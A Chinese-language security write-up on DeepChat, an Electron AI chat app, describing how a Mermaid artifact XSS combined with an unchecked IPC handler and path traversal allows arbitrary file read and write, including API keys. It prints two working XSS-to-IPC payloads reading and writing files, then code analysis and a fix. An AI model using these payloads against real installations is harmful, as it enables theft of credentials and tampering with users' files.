DeepChat FilePresenter 任意文件读取写入漏洞(可读取明文 key)

前言

在之前分析这个解析渲染漏洞的时候,就感觉很新奇,然后再去挖掘了一下,没想道挖掘到了一个任意文件读取和写入漏洞,但是毕竟是一个大模型的应用,那么 key 的话就必不可少了,找了一会找到了,然后调试过后还真可以读取到 key,危害也是特别的大,漏洞已经提交给官方

漏洞描述

DeepChat 是一个功能丰富的开源 AI 聊天平台,基于 Electron + Vue 3 + TypeScript 构建。它支持多个云端和本地 LLM 提供商,具备高级 MCP(模型上下文协议)工具调用能力,以及多窗口/多标签架构。

这个漏洞存在于 FilePresenter 组件的文件读写功能中。由于 readFile() 和 writeFile() 方法对路径参数没有进行充分验证,我们可以通过构造包含 ../ 的路径遍历序列,读取或写入 userDataPath 目录之外的任意文件。结合 MermaidArtifact XSS 漏洞,我们可以在渲染进程中通过 IPC 调用触发此漏洞,实现完整的文件系统访问。

环境搭建

到对应的目录下面

pnpm run dev


漏洞复现

先在 1.txt 中写一些东西


在 DeepChat 聊天框中输入以下内容,通过 MermaidArtifact XSS 触发 IPC 调用:

<antArtifact identifier="path-traversal" type="application/vnd.ant.mermaid" title="Test">
graph TD
A["<img src=x onerror=window.P=function(){window.electron.ipcRenderer.invoke('presenter:call','filePresenter','readFile','../../../../../../../../../../../../tmp/1.txt').then(function(r){alert(r.substring(0,300))})};setTimeout(window.P,100)>"]
</antArtifact>
  • 利用 MermaidArtifact 的 innerHTML 注入点触发 XSS
  • 通过 window.electron.ipcRenderer.invoke() 调用主进程的 filePresenter.readFile()
  • 路径参数使用多个 ../ 遍历到 /tmp/1.txt

可以看见正好弹出了我们的内容

当然我们也可以写文件

修改 payload 测试文件写入:

<antArtifact identifier="write-test" type="application/vnd.ant.mermaid" title="Test">
graph TD
A["<img src=x onerror=window.W=function(){window.electron.ipcRenderer.invoke('presenter:call','filePresenter','writeFile',{path:'../../../../../../../../../../../../tmp/test.txt',content:'先知社区yyds'}).then(function(){alert('写入成功')})};setTimeout(window.W,100)>"]
</antArtifact>



我们查看内容


当然也可以读取用户配置的 key

就不放 payload 了,总感觉很危险

漏洞分析

关键代码分析

因为之前分析过了,这里只分析非常关键的部分

ENTRY POINT(入口点)

  • 文件: src/renderer/src/components/artifacts/MermaidArtifact.vue
  • 函数: renderDiagram()
  • 我们控制的输入: props.block.content(Mermaid 图表内容)
  • 验证/过滤: 无,直接使用 innerHTML

代码:

<script setup lang="ts">
import { ref, watch, nextTick } from 'vue'
import mermaid from 'mermaid'

const props = defineProps<{
  block: {
    content: string
  }
}>()

const mermaidRef = ref<HTMLDivElement>()

const renderDiagram = async () => {
  if (!mermaidRef.value || !props.block.content) return
  try {
    mermaidRef.value.innerHTML = props.block.content 
    await mermaid.run({ nodes: [mermaidRef.value] })
  } catch (error) {
    console.error('Failed to render mermaid diagram:', error)
  }
}
</script>

我们利用 innerHTML 注入恶意 HTML 标签(如 <img onerror=...>),在 onerror 事件中执行 JavaScript 代码

↓

PROPAGATION(传播路径)

  • 文件: src/main/presenter/index.ts
  • 函数: IPC handler presenter:call
  • 数据变换: 渲染进程通过 IPC 调用主进程方法
  • 验证/过滤: 无,动态调用任意 presenter 方法

代码:

ipcMain.handle(
  'presenter:call',
  (event: IpcMainInvokeEvent, name: string, method: string, ...payloads: unknown[]) => {
    try {
      const webContentsId = event.sender.id
      const tabId = presenter.tabPresenter.getTabIdByWebContentsId(webContentsId)
      const windowId = presenter.tabPresenter.getWindowIdByWebContentsId(webContentsId)

      const context: IPCCallContext = {
        tabId,
        windowId,
        webContentsId,
        presenterName: name,
        methodName: method,
        timestamp: Date.now()
      }

      // 通过名称获取对应的 Presenter 实例
      const calledPresenter: any = presenter[name as keyof Presenter]

      if (!calledPresenter) {
        console.warn(`[IPC Warning] Tab:${context.tabId} calling wrong presenter: ${name}`)
        return { error: `Presenter "${name}" not found` }
      }

      // 检查方法是否存在且为函数
      if (isFunction(calledPresenter, method)) {
        // 🔴 动态调用方法,无权限验证
        return calledPresenter[method](...payloads)
      }
    } catch (e: any) {
      console.error(`[IPC Error] Tab:${tabId || 'unknown'} ${name}.${method}:`, e)
      return { error: e.message || String(e) }
    }
  }
)

渲染进程可以调用任意 presenter 的任意方法,没有权限检查。我们可以通过 XSS 调用 filePresenter.readFile() 或 filePresenter.writeFile()。


SINK(Sink 点)

  • 文件: src/main/presenter/filePresenter/FilePresenter.ts
  • 函数: readFile() 和 writeFile()
  • 危险操作: 文件系统读写
  • 为何可利用: relativePath 和 operation.path 未验证,path.join() 允许路径遍历

代码:

import { app } from 'electron'
import fs from 'fs/promises'
import path from 'path'

export class FilePresenter implements IFilePresenter {
  private userDataPath: string
  
  constructor(configPresenter: IConfigPresenter, fileValidationService?: IFileValidationService) {
    this.userDataPath = app.getPath('userData')
    this.tempDir = path.join(this.userDataPath, 'temp')
    this.configPresenter = configPresenter
    this.fileValidationService = fileValidationService || new FileValidationService()
  }

  // 🔴 路径遍历漏洞:readFile
  async readFile(relativePath: string): Promise<string> {
    const fullPath = path.join(this.userDataPath, relativePath)
    return fs.readFile(fullPath, 'utf-8')
  }

  // 🔴 路径遍历漏洞:writeFile
  async writeFile(operation: FileOperation): Promise<void> {
    const fullPath = path.join(this.userDataPath, operation.path)
    await fs.mkdir(path.dirname(fullPath), { recursive: true })
    await fs.writeFile(fullPath, operation.content || '', 'utf-8')
  }

  async deleteFile(relativePath: string): Promise<void> {
    const fullPath = path.join(this.userDataPath, relativePath)
    await fs.unlink(fullPath)
  }
}


完整攻击链路

我们在聊天框输入恶意 <antArtifact> 内容
       ↓
MermaidArtifact.vue: innerHTML = props.block.content
       ↓
浏览器解析 HTML,触发 <img onerror=...>
       ↓
JavaScript 执行:window.electron.ipcRenderer.invoke('presenter:call', 'filePresenter', 'readFile', '../../../../tmp/1.txt')
       ↓
主进程 IPC handler 接收调用
       ↓
presenter['filePresenter']['readFile']('../../../../tmp/1.txt')
       ↓
FilePresenter.readFile(): fullPath = path.join(userDataPath, '../../../../tmp/1.txt')
       ↓
fs.readFile('/tmp/1.txt', 'utf-8')
       ↓
返回文件内容到渲染进程
       ↓
alert() 显示文件内容

漏洞修复

修复建议

修复前:

async readFile(relativePath: string): Promise<string> {
  const fullPath = path.join(this.userDataPath, relativePath)
  return fs.readFile(fullPath, 'utf-8')
}

async writeFile(operation: FileOperation): Promise<void> {
  const fullPath = path.join(this.userDataPath, operation.path)
  await fs.mkdir(path.dirname(fullPath), { recursive: true })
  await fs.writeFile(fullPath, operation.content || '', 'utf-8')
}

修复后:

async readFile(relativePath: string): Promise<string> {
  // 1. 拒绝包含 ../ 的路径
  if (relativePath.includes('..')) {
    throw new Error('Invalid path: path traversal detected')
  }
  
  const fullPath = path.join(this.userDataPath, relativePath)
  
  // 2. 验证解析后的路径仍在 userDataPath 内
  const resolvedPath = path.resolve(fullPath)
  const resolvedUserDataPath = path.resolve(this.userDataPath)
  
  if (!resolvedPath.startsWith(resolvedUserDataPath + path.sep) && 
      resolvedPath !== resolvedUserDataPath) {
    throw new Error('Access denied: path outside allowed directory')
  }
  
  return fs.readFile(resolvedPath, 'utf-8')
}

async writeFile(operation: FileOperation): Promise<void> {
  // 同样的验证逻辑
  if (operation.path.includes('..')) {
    throw new Error('Invalid path: path traversal detected')
  }
  
  const fullPath = path.join(this.userDataPath, operation.path)
  const resolvedPath = path.resolve(fullPath)
  const resolvedUserDataPath = path.resolve(this.userDataPath)
  
  if (!resolvedPath.startsWith(resolvedUserDataPath + path.sep) && 
      resolvedPath !== resolvedUserDataPath) {
    throw new Error('Access denied: path outside allowed directory')
  }
  
  await fs.mkdir(path.dirname(resolvedPath), { recursive: true })
  await fs.writeFile(resolvedPath, operation.content || '', 'utf-8')
}


参考资料

免责声明

本报告仅用于安全研究和教育目的。

  1. 本报告中的漏洞分析和 PoC 代码仅供授权安全测试使用
  2. 未经授权对他人系统进行测试属于违法行为
  3. 作者不对任何滥用本报告内容造成的后果负责